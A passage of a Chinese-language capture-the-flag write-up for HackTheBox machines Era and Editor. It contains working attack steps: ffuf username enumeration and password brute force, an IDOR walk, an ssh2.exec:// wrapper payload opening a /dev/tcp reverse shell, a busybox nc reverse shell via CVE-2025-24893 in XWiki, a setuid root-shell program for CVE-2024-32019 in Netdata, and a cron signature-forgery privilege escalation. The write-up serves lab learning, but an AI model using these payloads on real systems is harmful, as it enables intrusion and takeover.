這個是一個可以利用的漏洞。攻擊者可以利用這一點來判斷哪些使用者名稱是存在於資料庫中的。

我們使用 ffuf 針對 security_login.php 進行 fuzzing 。我們將 payload 設定在 username 參數,並使用 -fr "User not found." 來過濾掉那些查無此人的回應,藉此篩選出有效的帳號:

  • ​​$ ffuf -u http://file.era.htb/security_login.php -d "username=FUZZ&answer1=x&answer2=x&answer3=x" \
    ​​  -X POST -H "Content-Type: application/x-www-form-urlencoded" \
    ​​  -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fr "User not found."
    
    image

相同情況,在此網站的登入頁面,當我們輸入錯誤密碼時,系統會直接返回錯誤訊息: Invalid username or password.

Screenshot 2025-12-11 at 20.06.58

我們一一代入前述發現的使用者,並搭配 rockyou.txt 字典進行密碼爆破。我們使用 -fr "Invalid username or password." 來過濾登入失敗的回應:

  • ​​$ ffuf -u http://file.era.htb/login.php -d "submitted=true&username=eric&password=FUZZ" \
    ​​  -X POST -H "Content-Type: application/x-www-form-urlencoded" \
    ​​  -w /usr/share/wordlists/rockyou.txt -fr "Invalid username or password." -t 40
    
    image

當我們代入 eric 時,找到了匹配的密碼: eric | america

我們現在擁有一組有效的憑證,我們成功登入系統:

image

3. IDOR

成功登入後,我們嘗試從上傳頁面上傳了一個測試文件 test.pdf 。觀察下載連結,發現其結構非常簡單: http://file.era.htb/download.php?id=7378

image

這裏的 id 參數似乎缺乏存取控制,我們懷疑存在 IDOR (Insecure Direct Object References) 漏洞。

  • http://file.era.htb/download.php?id=1
    image

使用 ffuf 針對 id 進行遍歷,尋找系統中已存在的隱藏檔案:

  • $ seq 0 10000 | ffuf -w - -u "http://file.era.htb/download.php?id=FUZZ" -H "Cookie: PHPSESSID=de3v6rl5hg8if7ou00qrohm6cm" -fr "File Not Found" -t 50
    image

掃描結果:
除了我們上傳的檔案外,發現了兩個 id

4. Sensitive Files

site-backup-30-08-24.zip 似乎是此網站的程式碼備份。
解壓縮後,發現有 filedb.sqlite ,我們使用 sqlite3 分析 filedb.sqlite

  • $ sqlite3 filedb.sqlite
    > .dump
    image

我們獲取了關鍵的使用者資訊:

  • 管理員使用者名稱: admin_ef01cab31aa
  • 許多使用者的 password hashes

我們使用 hashcat 嘗試破解 (mode 3200 bcrypt)

  • $ hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
    Screenshot 2025-12-11 at 21.05.34

    image

結果只破解了兩位使用者:

  • eric | america
  • yuri | mustang

eric 我們已經知道了密碼; yuri 只是一位普通的使用者。

接下來,我們查看 site-backup-30-08-24.zip 裡頭的 download.php ,發現了一個嚴重的漏洞:

  • download.php
    ​​​​... ​​​​// Allow immediate file download ​​​​if ($_GET['dl'] === "true") { ​​​​ header('Content-Type: application/octet-stream'); ​​​​ header("Content-Transfer-Encoding: Binary"); ​​​​ header("Content-disposition: attachment; filename=\"" .$fileName. "\""); ​​​​ readfile($fetched[0]); ​​​​// BETA (Currently only available to the admin) - Showcase file instead of downloading it ​​​​} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) { ​​​​ $format = isset($_GET['format']) ? $_GET['format'] : ''; ​​​​ $file = $fetched[0]; ​​​​ if (strpos($format, '://') !== false) { ​​​​ $wrapper = $format; ​​​​ header('Content-Type: application/octet-stream'); ​​​​ } else { ​​​​ $wrapper = ''; ​​​​ header('Content-Type: text/html'); ​​​​ } ​​​​ try { ​​​​ $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r'); ​​​​ $full_path = $wrapper ? $wrapper . $file : $file; ​​​​ // Debug Output ​​​​ echo "Opening: " . $full_path . "\n"; ​​​​ echo $file_content; ​​​​ } catch (Exception $e) { ​​​​ echo "Error reading file: " . $e->getMessage(); ​​​​ } ​​​​// Allow simple download ​​​​} else { ​​​​ echo deliverTop("Era - Download"); ​​​​ echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>'); ​​​​} ​​​​...

漏洞分析:
這段程式碼是用來預覽檔案的。如果 $_GET['show']true 且當前使用者是管理員 ($_SESSION['erauser'] === 1),系統會執行 fopen。 最致命的是,它允許我們透過 $_GET['format'] 控制 fopen 的 wrapper。這意味著我們可以利用 PHP 的 stream wrappers (php://filterexpect://data:// ) 來執行系統命令。

攻擊條件:

  • 必須登入為 admin_ef01cab31aa (session ID 為 1)。
  • 利用 format 參數注入惡意 wrapper。

為了滿足上述條件,我們必須成為管理員。我們回到網站的 Update Security Questions 頁面。雖然我們登入的是 eric ,但我們懷疑這裡同樣沒有驗證被修改的使用者是否為當前登入者。

我們來嘗試修改 admin_ef01cab31aa 的安全問題:

image

嘗試利用 Log in Using Security Questions 登入:

image
image

登入 admin_ef01cab31aa 成功。

5. RCE

取得管理員權限後,我們回到 download.php 的漏洞。我們初步嘗試常見的 RCE wrapper(php://filterexpect:// )並未成功,這暗示伺服器可能未安裝或禁用了這些 extension 。

做進一步的 enumeration ,發現我們可以以 yuri:mustang 登入 FTP :

image

資料夾 php8.1_conf

Screenshot 2025-12-12 at 20.19.26

php8.1_conf 目錄下,我們發現了伺服器載入的 PHP extension 清單 (.so files)。

在檔案列表中,我們注意到了 ssh2.so 。這意味著伺服器安裝了 PHP 的 SSH2 擴展,意即 fopen 支援 ssh2.exec:// wrapper。

我們構造一個 payload,以 eric 的身份透過 SSH 協定連線回 localhost 並執行 Bash reverse shell。

Payload:

# 原始URL:
http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1;'

# URL Encoded:
http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec%3A%2F%2Feric%3Aamerica%40127.0.0.1%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.15%2F443%200%3E%261%3B%27

架好 netcat listener 後,我們利用已登入 admin_ef01cab31aa 的瀏覽器 session,訪問我們構造的 payload URL :

  • Payload URL:
    image
  • $ nc -nvlp 443
    image
  • User Flag
    • /home/eric/user.txt
      upload_d7d6092bed29b6bb54feeb0c45d8520a

成功取得 shell ,並拿到 user flag。

6. Abusing Cron Jobs (Scheduled Tasks) (eric -> root)

為了找出潛在的提權路徑,我們上傳並執行了 pspy64 來監控系統背景程序:

Screenshot 2025-12-12 at 22.06.10

由於我們看不到 initiate_monitoring.sh 的內容,故我們只能推論其自動化任務的邏輯:

  • bash -c /root/initiate_monitoring.sh
    • root 每分鐘都會執行 /root/initiate_monitoring.sh 此腳本
  • objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
    • 從目標執行檔 /opt/AV/periodic-checks/monitor 中,提取了一個名為 .text_sig 的區段,並存成暫存檔 text_sig_section.bin
  • openssl asn1parse -inform DER -in text_sig_section.bin
    • 解析剛剛提取出來的 binary ,並將其視為 ASN.1 格式 (常見於憑證或簽章)
  • grep -oP (?<=UTF8STRING :)Era Inc.
    grep -oP (?<=IA5STRING :)yurivich@era.com
    • 腳本並不檢查檔案的 hash 或真正的數位簽章,它只是在解析出來的內容中尋找兩個特定字串: Era Inc.yurivich@era.com
  • /opt/AV/periodic-checks/monitor
    • 如果上述的 grep 檢查都通過了,系統就會以 root 執行 monitor

我們先檢查目標檔案的權限。我們發現 /opt/AV/periodic-checks/monitor 對於 eric 是可寫入 (writable) 的。

image

我們先把 /opt/AV/periodic-checks/monitor 替換成 reverse shell 看看。

以下是我們準備的 shell.c , complie 成我們要的 reverse shell binary :

image

成功複製過去後,我們發現 reverse shell 沒有成功。以下為其 log 檔顯示的內容:

image

如果們的預期,如果沒有通過上述的簽章檢查,程式將不會被執行。

為了繞過這個檢查機制,我們需要將合法程式的簽章移植到我們的惡意程式上 (Signature Forgery) 。

以下為攻擊步驟:

  1. 竊取合法簽章
    模仿 pspy 觀察到的指令,我們從原始合法的程式中提取 .text_sig 區段。

    • $ objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
      image
  2. 注入簽章
    將提取出的合法簽章 sig,注入到我們編譯好的惡意 monitor 中,並指定區段名稱為 .text_sig

    • $ objcopy --add-section .text_sig=sig monitor
      image
  3. 替換檔案
    首先,我們備份一下 monitor 原檔。
    備份原檔後,用我們偽造好簽章的惡意程式覆蓋目標:

    • $ cp monitor /opt/AV/periodic-checks/monitor

    覆蓋成功後,當下一次 cron job 執行時,我們的惡意程式因帶有合法的特徵字串而通過檢查,並被 root 執行。

  • $ nc -nvlp 443
    image

成功取得 root 的 shell ,並取得 root flag 。

  • /root/root.txt
    upload_1ceab684de3f6a0579a15b44c0382fae

Week 12 - Editor

🕒 2025/08/07

Editor

  • IP: 10.10.11.80
  • OS: Linux
  • Difficulty: Easy

1. Nmap

首先,我們來用 nmap 掃這台機器的所有 ports 。

  • $ sudo nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.80
# Nmap 7.95 scan initiated Thu Aug  7 23:17:13 2025 as: /usr/lib/nmap/nmap -sS -A -v -T4 -p- -oN nmap.txt 10.10.11.80
Increasing send delay for 10.10.11.80 from 5 to 10 due to 13 out of 32 dropped probes since last increase.
Nmap scan report for 10.10.11.80
Host is up (0.20s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    Jetty 10.0.20
| http-methods: 
|   Supported Methods: OPTIONS GET HEAD PROPFIND LOCK UNLOCK
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  WebDAV type: Unknown
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-server-header: Jetty(10.0.20)
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 28.685 days (since Thu Jul 10 06:54:12 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=266 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   200.51 ms 10.10.14.1
2   201.67 ms 10.10.11.80

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  7 23:20:56 2025 -- 1 IP address (1 host up) scanned in 223.20 seconds

掃描結果分析:

  • Port 22 (SSH): OpenSSH 8.9p1 Ubuntu。
  • Port 80 (HTTP): Nginx 1.18.0。標題顯示無法重導向至 http://editor.htb/ ,提示我們需要設定 DNS 。
  • Port 8080 (HTTP): Jetty 10.0.20。網頁標題顯示為 XWiki,這是一個關鍵的發現,且 robots.txt 揭露了許多 /xwiki/ 路徑。

2. Website

由於 port 80 的掃描結果提示了 domain name,我們需要將其加入 /etc/hosts 以便正常瀏覽:

  • /etc/hosts
    ​​​​...
    ​​​​10.10.11.80    editor.htb
    

訪問 http://editor.htb/

image

沒看到什麼特別的。

接著,訪問 http://10.10.11.80:8080/,網站自動導向至 XWiki 的介面:

image

在頁面的 footer 中,我們確認了運行的應用程式版本為 XWiki Debian 15.10.8。

image

3. CVE-2025-24893 RCE

經過搜尋發現 XWiki 15.10.8 版本存在 RCE 漏洞,編號為 CVE-2025-24893。這個漏洞允許攻擊者通過精心構造的請求在伺服器上執行任意代碼。

我們使用 GitHub 上的公開 exploit script 進行測試。
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py

我們先執行腳本來嘗試讀取 /etc/passwd

  • $ python3 CVE-2025-24893.py
    image

結果成功回傳了 /etc/passwd 的內容,證實漏洞存在且具備 RCE 能力。

下一步,取得 reverse shell 。

我們把 python 腳本的 payload 替換成 reverse shell payload :
( busybox nc 10.10.14.14 443 -e sh )

image

再次執行修改後的 exploit :

  • $ python3 CVE-2025-24893.py
    image
  • $ nc -nvlp 443
    image

成功收到連線,取得目標機器的 shell (xwiki) 。

4. Sensetive Files

取得 shell 後,我們開始搜尋有沒有敏感的文件。
針對 XWiki , 設定檔通常位於 xwiki.propertiesxwiki.cfghibernate.cfg.xml

查看設定檔 hibernate.cfg.xml

  • /etc/xwiki/hibernate.cfg.xml
    image

在檔案中我們找到了資料庫的連線資訊:

  • Username: xwiki
  • Password: theEd1t0rTeam99

雖然這是資料庫的密碼,但使用者常有密碼重複使用的習慣。我們查看 /etc/passwd 來找尋一般使用者,並用 SSH 去測試其密碼是否為 theEd1t0rTeam99

  • /etc/passwd
    ​​​​root:x:0:0:root:/root:/bin/bash
    ​​​​daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ​​​​bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ​​​​sys:x:3:3:sys:/dev:/usr/sbin/nologin
    ​​​​sync:x:4:65534:sync:/bin:/bin/sync
    ​​​​games:x:5:60:games:/usr/games:/usr/sbin/nologin
    ​​​​man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    ​​​​lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    ​​​​mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    ​​​​news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    ​​​​uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    ​​​​proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    ​​​​www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    ​​​​backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    ​​​​list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    ​​​​irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    ​​​​gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    ​​​​nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    ​​​​_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    ​​​​systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    ​​​​systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    ​​​​messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
    ​​​​systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    ​​​​pollinate:x:105:1::/var/cache/pollinate:/bin/false
    ​​​​sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
    ​​​​syslog:x:107:113::/home/syslog:/usr/sbin/nologin
    ​​​​uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
    ​​​​tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
    ​​​​tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
    ​​​​landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
    ​​​​fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
    ​​​​usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
    ​​​​lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
    ​​​​dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    ​​​​mysql:x:115:121:MySQL Server,,,:/nonexistent:/bin/false
    ​​​​tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin
    ​​​​xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin
    ​​​​netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
    ​​​​oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
    ​​​​_laurel:x:995:995::/var/log/laurel:/bin/false
    

嘗試使用剛剛獲得的密碼登入 oliver 帳號:

  • $ sshpass -p 'theEd1t0rTeam99' ssh oliver@10.10.11.80
    image

登入成功,拿到 user flag 。

  • /home/oliver/user.txt
    upload_5509620035ad99106ed750b0f175827c

5. CVE-2024-32019

在取得 oliver 的 shell 後,我們進一步檢查該使用者的群組與權限:

  • $ id
    image

我們發現當前使用者屬於 netdata 群組。

接著,我們搜尋屬於該群組且具有特殊權限的檔案。我們找到了一個 SUID binary:

  • /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
    image

權限顯示為 -rwsr-x---,擁有者為 root,且 netdata 群組成員可執行。表示 oliver 能以 root 的最高權限來執行該程式。

經過搜尋,發現 Netdata 的 ndsudo 工具存在一個本地權限提升漏洞 (local privilege escalation),編號 CVE-2024-32019。

漏洞原理:

ndsudo 是一個用來允許 Netdata 代理程式以 root 權限執行特定命令的工具。然而,舊版本的 ndsudo 在執行外部指令(如 nvme 相關指令)時,沒有使用絕對路徑,且未正確清理環境變數。這導致攻擊者可以透過 PATH hijacking(路徑劫持)的方式,偽造一個惡意的執行檔來替換合法的指令,進而取得 root 權限。

以下為攻擊步驟:

  1. 製作惡意執行檔
    我們需要製作一個名稱為 nvme 的惡意程式,因為 ndsudo 支援執行 nvme-list 參數,底層會呼叫 nvme 指令。

    我們把這段用來設定 UID 為 0 (root) 並啟動 shell 的程式碼編譯成 binary nvme

    • poc.c
      ​​​​​​​​#include <unistd.h> ​​​​​​​​int main(){ ​​​​​​​​ setgid(0); ​​​​​​​​ setuid(0); ​​​​​​​​ execl("/bin/sh", "sh", NULL); ​​​​​​​​ return 0; ​​​​​​​​}
    • $ gcc poc.c -o nvme -static
      image
  2. 修改 PATH 環境變數
    將編譯好的惡意 nvme 檔案放置到 /tmp 目錄下:

    image
    並修改當前 shell 的 PATH 環境變數,將 /tmp 設為最高優先順序:

    • $ export PATH=/tmp:$PATH
      image
  3. 觸發漏洞
    執行目標 SUID 程式並帶入 nvme-list 參數。由於我們劫持了 PATH , ndsudo 會以 root 權限去執行 /tmp/nvme ,而不是系統原本的 /usr/sbin/nvme

    • $ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
      image

成功獲得了 root shell ,並拿到 root flag 。

  • /root/root.txt
    upload_55216c04cfccbab39df545a1e0adcd74

Week 13 - Cobblestone (active) [依規定尚不可公開]

🕒 2025/08/15

[ROOT UNSOLVED]

Cobblestone

  • IP: 10.10.11.81
  • OS: Linux
  • Difficulty: Insane